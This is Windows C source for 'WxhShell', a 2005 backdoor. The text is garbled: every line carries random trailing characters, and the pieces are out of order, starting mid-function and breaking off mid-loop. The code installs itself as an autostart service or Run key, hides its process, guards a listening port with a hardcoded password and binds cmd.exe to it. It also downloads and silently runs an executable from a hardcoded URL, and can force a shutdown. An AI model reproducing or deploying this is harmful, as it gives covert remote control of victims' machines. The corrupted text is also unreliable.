    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Gw0MDV&[  
    if(Boot(SHUTDOWN)) = *~Q5F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^. ; x  
    else { XY1b_uY  
    closesocket(wsh); 8 !+eq5S3  
    ExitThread(0); oCR-KR>{Q  
    } Sn ~|<Vf  
    break; PXJ`<XM  
    } +oe%bk|A  
  // 获取shell 84UI)nE:Q  
  case 's': { ?~s23%E  
    CmdShell(wsh); _M9-n  
    closesocket(wsh); 7l|D!`BS  
    ExitThread(0); v|K<3@J  
    break; 2[Q/|D}}|  
  } L2m~ GnP|?  
  // 退出 Y~ ( <H e?  
  case 'x': { #Hyfj j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2*9rhOK*  
    CloseIt(wsh); yHt `kb2  
    break; =x3ZQA  
    } L fx$M  
  // 离开 |"XxM(Dm  
  case 'q': { E2a00i/9Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1X$hwkof  
    closesocket(wsh); _;yi/)-2  
    WSACleanup(); cp\A xWtUZ  
    exit(1); 2h^9lrQcQG  
    break; p.J+~s4G  
        } {9yW8&m  
  } Z2wgfP`  
  } A3=$I&!%  
35X4] t  
  // 提示信息 >7^i>si  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [r"`r Bw  
} 4_B1qN  
  } BO 3%p  
KW5u.phv  
  return; L4C_qb k;:  
} :w5p#+/,P  
e-.s63hm  
// shell模块句柄 r:*0)UZlD  
int CmdShell(SOCKET sock) }xE}I<M  
{ =9@t6   
STARTUPINFO si; 7)y9% -}  
ZeroMemory(&si,sizeof(si)); D%=FCmL5@=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5gnmRd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;zc,vs  
PROCESS_INFORMATION ProcessInfo; ON~K(O2g(  
char cmdline[]="cmd"; l{b*YUsz>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BvA09lK  
  return 0; XK7$Xbd  
} j/+e5.EX/  
@g~hYc  
// 自身启动模式 W nLMa|e  
int StartFromService(void) [~_()i=Y  
{ $pO gFA1'  
typedef struct DRUvQf  
{ Ar:ezA  
  DWORD ExitStatus; 2UGnRZ8:1Y  
  DWORD PebBaseAddress; -g;cg7O#(  
  DWORD AffinityMask; KqH_?r`  
  DWORD BasePriority; t@1 bu$y  
  ULONG UniqueProcessId; nC> 'kgRt  
  ULONG InheritedFromUniqueProcessId; #lHA<jI  
}   PROCESS_BASIC_INFORMATION; L1i:hgq0]  
_~_E(rTn  
PROCNTQSIP NtQueryInformationProcess; `[*nUdG  
KL}o%wfLy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q1yj+)_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $JTQA  
PfKF!/c B  
  HANDLE             hProcess; "o ^cv  
  PROCESS_BASIC_INFORMATION pbi; erC)2{m  
hL8GW> `a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *>,CG:`D  
  if(NULL == hInst ) return 0; V<+= t{  
j~a"z40  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6YCFSvA#/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1VD8y_tC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }&h* bim  
o : t z_5  
  if (!NtQueryInformationProcess) return 0; Xob,jo}a  
KNw{\Pz~w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @Ht7^rz+S  
  if(!hProcess) return 0; Ct)l0J\XH  
H ^<LnYZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 609_ZW;)  
5lc%GJybV  
  CloseHandle(hProcess); l5R0^!t  
N3`EJY_|V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;HPQhN_  
if(hProcess==NULL) return 0; :jc ?T  
+9[/> JM  
HMODULE hMod; f;w7YO+$p9  
char procName[255]; ^*fZ  
unsigned long cbNeeded; xc HG5bg |  
ojA i2uz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pDg_^|  
8'Y7lOXS  
  CloseHandle(hProcess); c< P ML|e  
1sT%g}w@|  
if(strstr(procName,"services")) return 1; // 以服务启动 foOwJ}JU  
x/pM.NZF1  
  return 0; // 注册表启动 }bg_?o;X}  
} =Bq3O58+  
RrPo89o  
// 主模块 :+m8~n$/  
int StartWxhshell(LPSTR lpCmdLine) B?G!~lQ)o  
{ nbGB84  
  SOCKET wsl; GWU"zWli]z  
BOOL val=TRUE; Qmk}smvH  
  int port=0; cxNb!G  
  struct sockaddr_in door; ba-J-G@YW  
0gEtEH+  
  if(wscfg.ws_autoins) Install(); <e s>FD  
L:(>ON  
port=atoi(lpCmdLine); E(;V.=I  
l-Q.@hG  
if(port<=0) port=wscfg.ws_port; ;hsem,C h7  
DD4fV`:kG  
  WSADATA data; [= GVK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  >Mzk;TM  
&%ZiI@O-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *XCid_{(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,bQbj7  
  door.sin_family = AF_INET; qXH\e|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @vC7j>*4B  
  door.sin_port = htons(port); 45u\v2,C3  
%L\buwjy$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *r&q;ER  
closesocket(wsl); },d`<^~  
return 1; XU3v#Du  
} .5;Xd?  
s L9,+  
  if(listen(wsl,2) == INVALID_SOCKET) { *,UD&N_)*6  
closesocket(wsl); i"h '^6M1  
return 1; ,1s,G]%M  
} Gxtb@`f  
  Wxhshell(wsl); 4a&*?=GG  
  WSACleanup(); TaZw_)4c  
XYOPX>$T  
return 0; qJQ!e  
yJheni  
}  fn1G^a=  
`o.DuvQ E  
// 以NT服务方式启动 ~is$Onf99#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q:y_#r"_y  
{ /lC&'hT  
DWORD   status = 0; $E_9AaX  
  DWORD   specificError = 0xfffffff; }[[  
vu&%e\gM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _ 2WG6y;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |7K[+aK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qNLG-m,n<  
  serviceStatus.dwWin32ExitCode     = 0; ~1NK@=7T  
  serviceStatus.dwServiceSpecificExitCode = 0; RW!_Zz Z  
  serviceStatus.dwCheckPoint       = 0; #9{9T"ed  
  serviceStatus.dwWaitHint       = 0; 9'qU4I  
Y SvZ7G(m>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '%u7XuU-]  
  if (hServiceStatusHandle==0) return; .)7r /1o  
r@2{>j8  
status = GetLastError(); LxM.z1  
  if (status!=NO_ERROR) 6evW O!  
{ R3G+tE/Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q}a,+*N.  
    serviceStatus.dwCheckPoint       = 0; @wy&Z  
    serviceStatus.dwWaitHint       = 0; -7^A_!.  
    serviceStatus.dwWin32ExitCode     = status; :%!}%fkxH  
    serviceStatus.dwServiceSpecificExitCode = specificError; jAa{;p"jU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q*Hf%I"  
    return; w/L^w50pt  
  } U%Kv}s/(F{  
D*>EWlZ   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O:=%{/6&D  
  serviceStatus.dwCheckPoint       = 0; n9;z=   
  serviceStatus.dwWaitHint       = 0; %7X<:f|N8x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \WDL?(G<  
} $Vi[195]2  
T,Bu5:@#  
// 处理NT服务事件,比如:启动、停止 =aWj+ggd@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [|=#~(yYQ  
{ ,s%1#cbR  
switch(fdwControl) e~#"#?  
{ pT90TcI2  
case SERVICE_CONTROL_STOP: IZ$7'Mo86  
  serviceStatus.dwWin32ExitCode = 0; kHO2&"6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +@'{  
  serviceStatus.dwCheckPoint   = 0; 2\$P&L a  
  serviceStatus.dwWaitHint     = 0;  t8 "*j t  
  { )YDuq(g&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RG'Ft]l92N  
  } yzvNv]Z'*  
  return; fQ\nK H~  
case SERVICE_CONTROL_PAUSE: fkprTk^#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p)t1] <,Of  
  break; _h% :Tu  
case SERVICE_CONTROL_CONTINUE: $=x1_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !besMZ  
  break; re\@v8w~  
case SERVICE_CONTROL_INTERROGATE: P9Gjsu #  
  break; &B^zu+J  
}; (1 "unP-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YF+hN\  
} ~*3obZ2>2  
3'd(=hJ45$  
// 标准应用程序主函数 ){AtV&{$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pJ` M5pF  
{ ]x8_f6;D  
h,Y!d]2w  
// 获取操作系统版本 Quc,,#u  
OsIsNt=GetOsVer(); F:PaVr3q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7,i}M  
*wgHa6?+7  
  // 从命令行安装 Q}KNtNCpx  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5E~?hWAv  
iqzl(9o.D  
  // 下载执行文件 sr0.4VU1  
if(wscfg.ws_downexe) { F{#m~4O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LQ,RQ~!  
  WinExec(wscfg.ws_filenam,SW_HIDE); dLtSa\2Hn  
} 0WasE1t|  
[-Zp[  
if(!OsIsNt) { E+Jh4$x {  
// 如果时win9x,隐藏进程并且设置为注册表启动 4G:I VK9  
HideProc(); 56;(mbW  
StartWxhshell(lpCmdLine); )'<B\P/  
} ^2gDhoO_  
else +`EF0sux  
  if(StartFromService())  T4}SF  
  // 以服务方式启动 xW$F-n  
  StartServiceCtrlDispatcher(DispatchTable); ]=s!cfu  
else o/EN3J  
  // 普通方式启动 GM.2bA(y  
  StartWxhshell(lpCmdLine); M18H1e@Al  
"(@W^qF}d  
return 0; zW`Zmt\T2  
} U($sH9,  
?4X8l@fR  
;(a\F  
;j#$d@VG"  
=========================================== f8ap+][  
?'xTSAn  
"6T: &>  
5ryzAB O\2  
=j)y.x(  
p*11aaIbp~  
" :ZP4(}  
[x {S ,?6  
#include <stdio.h> ]gN]Cw\L  
#include <string.h> Z_ Gb9  
#include <windows.h> Xx;RH9YYz  
#include <winsock2.h> '%W'HqVcG1  
#include <winsvc.h> Cd4a7<-  
#include <urlmon.h> 4Xna}7  
<OKzb3e  
#pragma comment (lib, "Ws2_32.lib") x+kP,v  
#pragma comment (lib, "urlmon.lib") pNOVyyo>BW  
2<d l23  
#define MAX_USER   100 // 最大客户端连接数 kI|Vv90l  
#define BUF_SOCK   200 // sock buffer FiTP-~  
#define KEY_BUFF   255 // 输入 buffer <O`yM2/pS  
M7Pvc%\)  
#define REBOOT     0   // 重启 VZOf|o  
#define SHUTDOWN   1   // 关机 R3MbTg  
o8!gV/oy  
#define DEF_PORT   5000 // 监听端口 ya81z4?  
1B;-ea  
#define REG_LEN     16   // 注册表键长度 *. H1m{V  
#define SVC_LEN     80   // NT服务名长度 xS~O Acxg  
_1z|QC  
// 从dll定义API V}1D1.@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =F!DwaZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N4 O'{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rm7$i9DH2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,/.U'{  
jTNfGu0x  
// wxhshell配置信息 GCxtWFXH  
struct WSCFG { _Qy3A T~  
  int ws_port;         // 监听端口 )ca^%(25!z  
  char ws_passstr[REG_LEN]; // 口令 @w1@|"6vF  
  int ws_autoins;       // 安装标记, 1=yes 0=no E"ju<q/Q  
  char ws_regname[REG_LEN]; // 注册表键名 9/lCW  
  char ws_svcname[REG_LEN]; // 服务名 UWdPB2x[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @PXb^x#k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B]PTe~n^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H'Mc]zw_,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )I80Nq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #A8d@]Ps  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Tct[0B  
^ <Z^3c>/  
}; $}d| ~q\  
RP]hW{:U  
// default Wxhshell configuration 1vcI`8%S+u  
struct WSCFG wscfg={DEF_PORT, M@a?j<7P,m  
    "xuhuanlingzhe", zu<8%  
    1, SnK j:|bV  
    "Wxhshell", {(}Mu R  
    "Wxhshell", %IS'R`;3  
            "WxhShell Service", ALw5M'6q0\  
    "Wrsky Windows CmdShell Service", yVThbL_YJ  
    "Please Input Your Password: ", 7w7mE  
  1, gf!hO$sQ3  
  "http://www.wrsky.com/wxhshell.exe", h&7]Bp  
  "Wxhshell.exe" [3a-1,  
    }; 55vpnRM  
Z+!3m.q  
// 消息定义模块 aqvt$u8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0B(<I?a/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tuA,t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *_<P% J  
char *msg_ws_ext="\n\rExit."; 1sFTXl  
char *msg_ws_end="\n\rQuit."; WA-` *m$v  
char *msg_ws_boot="\n\rReboot..."; Az.k6)~  
char *msg_ws_poff="\n\rShutdown..."; a :jRQ-F)  
char *msg_ws_down="\n\rSave to "; T^-fn  
B;'Dh<J1  
char *msg_ws_err="\n\rErr!"; cH>rS\|Y  
char *msg_ws_ok="\n\rOK!"; :uZfdu  
fH.:#O:  
char ExeFile[MAX_PATH]; _m!TUT8o  
int nUser = 0; |irqv< r  
HANDLE handles[MAX_USER]; dw)SF,  
int OsIsNt; %?^T^P  
^'S0A=1  
SERVICE_STATUS       serviceStatus; Lm<"W_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ||y5XXs  
9X8{"J  
// 函数声明 )u7*YlU\I  
int Install(void); IVYWda0m  
int Uninstall(void); QDlEby m  
int DownloadFile(char *sURL, SOCKET wsh); o56_t{<  
int Boot(int flag); Dc |!H{Yr  
void HideProc(void); ]KGLJ~hm>  
int GetOsVer(void); iw6qNV:\Z  
int Wxhshell(SOCKET wsl); @%L4^ms  
void TalkWithClient(void *cs); daT[2M  
int CmdShell(SOCKET sock); kBY54pl  
int StartFromService(void); \H$Ps9Xh  
int StartWxhshell(LPSTR lpCmdLine); !dfc1UjB  
*|MHQp'A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V\zf yH\~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @ViJJ\  
\oF79   
// 数据结构和表定义  ^o+}3=  
SERVICE_TABLE_ENTRY DispatchTable[] = @R= gJ:&a  
{ hd~X c  
{wscfg.ws_svcname, NTServiceMain}, .s 31D%N  
{NULL, NULL} CW k#Amt.  
}; .3Nd[+[  
)r v5QH`i  
// 自我安装 )SZt If  
int Install(void) - |mWi  
{ .5I!h !  
  char svExeFile[MAX_PATH]; ]trVlmZXH}  
  HKEY key; ReOp,A/y  
  strcpy(svExeFile,ExeFile); 2= X2M  
;aBK4<-vl  
// 如果是win9x系统,修改注册表设为自启动 -SaH_Nuj  
if(!OsIsNt) { =whZ?,u1   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0uzm@'^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ec| Gom?  
  RegCloseKey(key); q10gKVJum  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V,bfD3S3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); THirh6  
  RegCloseKey(key); b:.aZ7+4  
  return 0; P0J3ci}^  
    } HlqvXt\  
  } Ktg{-Xl  
} 9I8{2]  
else { v8"plx=3  
\P]w^  
// 如果是NT以上系统,安装为系统服务 Ev;HV}G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }f)$+mi  
if (schSCManager!=0) hoI?,[@F  
{ $X_JUzb  
  SC_HANDLE schService = CreateService {S(d5o8  
  ( E4RvVfA0F  
  schSCManager, C.V")D=  
  wscfg.ws_svcname, zyTP|SXk  
  wscfg.ws_svcdisp, >*H>'O4  
  SERVICE_ALL_ACCESS, edhNQWn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Pw/Z;N;:V  
  SERVICE_AUTO_START, g\&[;v i  
  SERVICE_ERROR_NORMAL, _ngyai1  
  svExeFile, ?)x>GB(9ZN  
  NULL, !YL|R[nDH|  
  NULL, ([zt}uf  
  NULL, DGr{x}Kq  
  NULL, 6Y6DkFdvrZ  
  NULL {g}!M^|  
  ); 6V\YYrUz  
  if (schService!=0) S(](C  
  { c%v[p8 %  
  CloseServiceHandle(schService); GHeJpS  
  CloseServiceHandle(schSCManager); jr{C/B}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $$~x: iN  
  strcat(svExeFile,wscfg.ws_svcname); !7!xJ&/V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8;;!2>N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uZ( I|N$  
  RegCloseKey(key); L+Yn}"gIs  
  return 0; R*IO%9O  
    } Qj~m;F!  
  } mdvooJ  
  CloseServiceHandle(schSCManager); LziEF-_  
} Gwxx W   
} |cStN[97%  
}$3eRu +  
return 1; 6 ]W!>jDc  
} #k8bZ?*:  
C4],7"Sw  
// 自我卸载 xRYL{+  
int Uninstall(void) t9S zZ2E  
{ C{!L +]/  
  HKEY key; /%|JP{   
V %'`nJ!  
if(!OsIsNt) { XVAy uuTg\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4>nY't;0  
  RegDeleteValue(key,wscfg.ws_regname); E%OY7zf`%  
  RegCloseKey(key); e>~g!S}G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b{<qt})  
  RegDeleteValue(key,wscfg.ws_regname); $,q~q^0  
  RegCloseKey(key); Htn=h~U`z  
  return 0; ,~8:^*0s  
  } !/+ZKx("9  
} i`/_^Fndyu  
} q\ FF)H  
else { ES!$JWK|  
/ PG+ s6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PE3FuJGz  
if (schSCManager!=0) QU^*(HGip  
{ r#iZ FL3q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Jm$. $B&I  
  if (schService!=0) ia 1Sf3  
  { XJy~uks,  
  if(DeleteService(schService)!=0) { =LV7K8FSd  
  CloseServiceHandle(schService); ;EbGW&T  
  CloseServiceHandle(schSCManager); 3Yf&F([t  
  return 0; w2!G"oD  
  } n4Nb,)M  
  CloseServiceHandle(schService); T%~w~stW  
  } 01N "  
  CloseServiceHandle(schSCManager); w naP?|/  
} j_*$ Avy  
} ,gGIkl&  
t-Rfy`I3  
return 1; D7|[:``  
} MTo<COp($  
nmZz`P9g  
// 从指定url下载文件 yQE|FbiA  
int DownloadFile(char *sURL, SOCKET wsh) eznt "Rr2  
{ O*{<{3  
  HRESULT hr; \7PPFKS  
char seps[]= "/"; `s5<PCq  
char *token; X.hU23w  
char *file; H,`F%G#!`q  
char myURL[MAX_PATH]; lxb+0fiN  
char myFILE[MAX_PATH]; e5G)83[=  
yG\^PD  
strcpy(myURL,sURL); %jz]s4u$5j  
  token=strtok(myURL,seps); 0fwmQ'lW(  
  while(token!=NULL) LVKvPi  
  { 4k/B=%l  
    file=token; [xzgk [>5  
  token=strtok(NULL,seps); \J[m4tw^  
  } r/zuo6"5  
0JzH dz  
GetCurrentDirectory(MAX_PATH,myFILE); O 4zD >O  
strcat(myFILE, "\\"); ir/m. ~?  
strcat(myFILE, file); -F=?M+9[  
  send(wsh,myFILE,strlen(myFILE),0); A>WMPe:sSS  
send(wsh,"...",3,0); it]im  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }5c%v1  
  if(hr==S_OK) i!g}PbC[  
return 0; h}-}!v  
else `G*7y7  
return 1; zQ3m@x  
+GCN63 nX  
} ;6S,|rC ]  
XN9s!5A<L)  
// 系统电源模块 Y~\71QE>  
int Boot(int flag) su;u_rc,  
{ wKOljE6d  
  HANDLE hToken; _: @~ bHd  
  TOKEN_PRIVILEGES tkp; yUV0{A-q{0  
F5UvD[i  
  if(OsIsNt) { 0VsQ$4'V^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?>c*[>LpZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x` T  
    tkp.PrivilegeCount = 1; ]<b$k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Uytq,3Gj6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); np2oXg%  
if(flag==REBOOT) { fkf69,+"]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V]I@&*O~ r  
  return 0; Gl8D GELl;  
} D4,kGU@  
else { ;1qE:x}'H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8B#;ffkmN  
  return 0; tLCu7%P>  
} u=_"* :}  
  } qLrvKoEX2  
  else { &"H xAK)f  
if(flag==REBOOT) { O/g|E47  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \f| Hk*@  
  return 0; DV+M;rs  
} ?bFP'.  
else { iMG)zPj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %smQ`u|  
  return 0; ^(z7?T  
} *+(t2!yFmE  
} .OhpItn  
m2c>RCq  
return 1; fH#yJd2?f  
} :QKxpHi  
t~5m[C[`w  
// win9x进程隐藏模块 +m?;,JGt  
void HideProc(void) & \<!{Y<'  
{ MJ5Ymt a  
FY;\1bt<<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d4ANh+}X"_  
  if ( hKernel != NULL ) ,TeJx+z^  
  { )Ve-)rZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #,dNhUV#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?%RAX CK  
    FreeLibrary(hKernel); s5/5>a V  
  } ;+v5li  
Vb{5-v ;a  
return; [zXKS |  
} % 8c <C  
V11(EZJ/j  
// 获取操作系统版本 NUxOU>f  
int GetOsVer(void) 1.S7MSpTV  
{ j,<3[  
  OSVERSIONINFO winfo; W,sU5sjA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D5]AL5=Xt2  
  GetVersionEx(&winfo); -64@}Ts*?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /<[S> ;!kr  
  return 1; &6]+a4  
  else ~K'e}<-G  
  return 0; feJzX*u  
} 9Z?P/ o  
M:t!g %  
// 客户端句柄模块 /#mq*kNIM6  
int Wxhshell(SOCKET wsl) .II*wK k  
{ b1+6I_u.  
  SOCKET wsh; H~Z$pk%  
  struct sockaddr_in client; qY,z,o AF  
  DWORD myID; b\6 )whh  
C]@v60I  
  while(nUser<MAX_USER) :r4]8X-  
{ 3[q&%Z.  
  int nSize=sizeof(client); 0cYd6u@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3=[#(p:  
  if(wsh==INVALID_SOCKET) return 1; W&M=%  
|gXtP-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N$'/J-^  
if(handles[nUser]==0) oJ\)-qSf  
  closesocket(wsh); (CUrFZT$  
else g)Ep'd-w"  
  nUser++; _(J;!,  
  } T,' {0q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GCrIa Z  
1 zo0/<dk  
  return 0; 3C:!\R  
} {?2jvv  
N=2BrKb)o  
// 关闭 socket rw CFt6;v  
void CloseIt(SOCKET wsh) +f5|qbX/\  
{ \R!.VL3Tx$  
closesocket(wsh); O $dcy!  
nUser--; 0QzUcr)3+  
ExitThread(0); F4P=Wz]  
} B#o/3  
tKr.{#)  
// 客户端请求句柄 .`I;qF  
void TalkWithClient(void *cs) g(X-]/C{  
{ 0wFa7PyG?  
L&D+0p^lI  
  SOCKET wsh=(SOCKET)cs; =1!,A  
  char pwd[SVC_LEN]; \VL_  
  char cmd[KEY_BUFF]; `/|S.a#g  
char chr[1]; eA4dDKX+  
int i,j; J A=9EnTU  
#sHA!@ |  
  while (nUser < MAX_USER) { m7~<z>5$  
0LX"<~3j  
if(wscfg.ws_passstr) { Sn o7Ru2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /6?A#%hc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,s=jtK  
  //ZeroMemory(pwd,KEY_BUFF); gzHMZ/31  
      i=0; @M]uUL-ze  
  while(i<SVC_LEN) { 33R1<dRk  
D)kh"cK*1  
  // 设置超时 B/:+(|  
  fd_set FdRead; {z^6V\O5  
  struct timeval TimeOut; WA'&0i4  
  FD_ZERO(&FdRead); A$6T)  
  FD_SET(wsh,&FdRead); X jJV  
  TimeOut.tv_sec=8; trl:\m  
  TimeOut.tv_usec=0; ZQL4<fy'E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "ITC P<+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AD$$S.zoD<  
|3Fo4K%+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mz?xvP?z  
  pwd=chr[0]; fG *1A\t]  
  if(chr[0]==0xd || chr[0]==0xa) { \vH /bL  
  pwd=0; G<F+/Oi&DX  
  break; >M}\_c=  
  } | c:E)S\  
  i++; |*G$ilu  
    } dz3KBiq  
9+z5 $  
  // 如果是非法用户,关闭 socket RFsd/K;Zp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TT85G&#  
} %VV\biO]  
rNi]|)-ET  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4$5d*7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t:NYsL  
tQ,,krw~  
while(1) { (31ia"i%  
c `[,>  
  ZeroMemory(cmd,KEY_BUFF); V6c>1nZ  
a {4Wg:  
      // 自动支持客户端 telnet标准   1v<,nABuJ6  
  j=0; @yGK $<R  
  while(j<KEY_BUFF) { AZj `o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d9j+==S <  
  cmd[j]=chr[0]; J|O=w(  
  if(chr[0]==0xa || chr[0]==0xd) { 8fG$><@  
  cmd[j]=0; bqo+ b{i\  
  break; O#}d!}SIp  
  } b]-~{' +  
  j++; F!>92H~3G  
    } gI~4A,  
AQUl:0!  
  // 下载文件 \n&l  
  if(strstr(cmd,"http://")) { wgN)*dpuI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P#8+GN+bF  
  if(DownloadFile(cmd,wsh)) BzVF!<!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4R c_C0O  
  else 3?}\Hw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?g ~w6|U(r  
  } 6w?l I  
  else { &Zzd6[G+  
o@6hlLr  
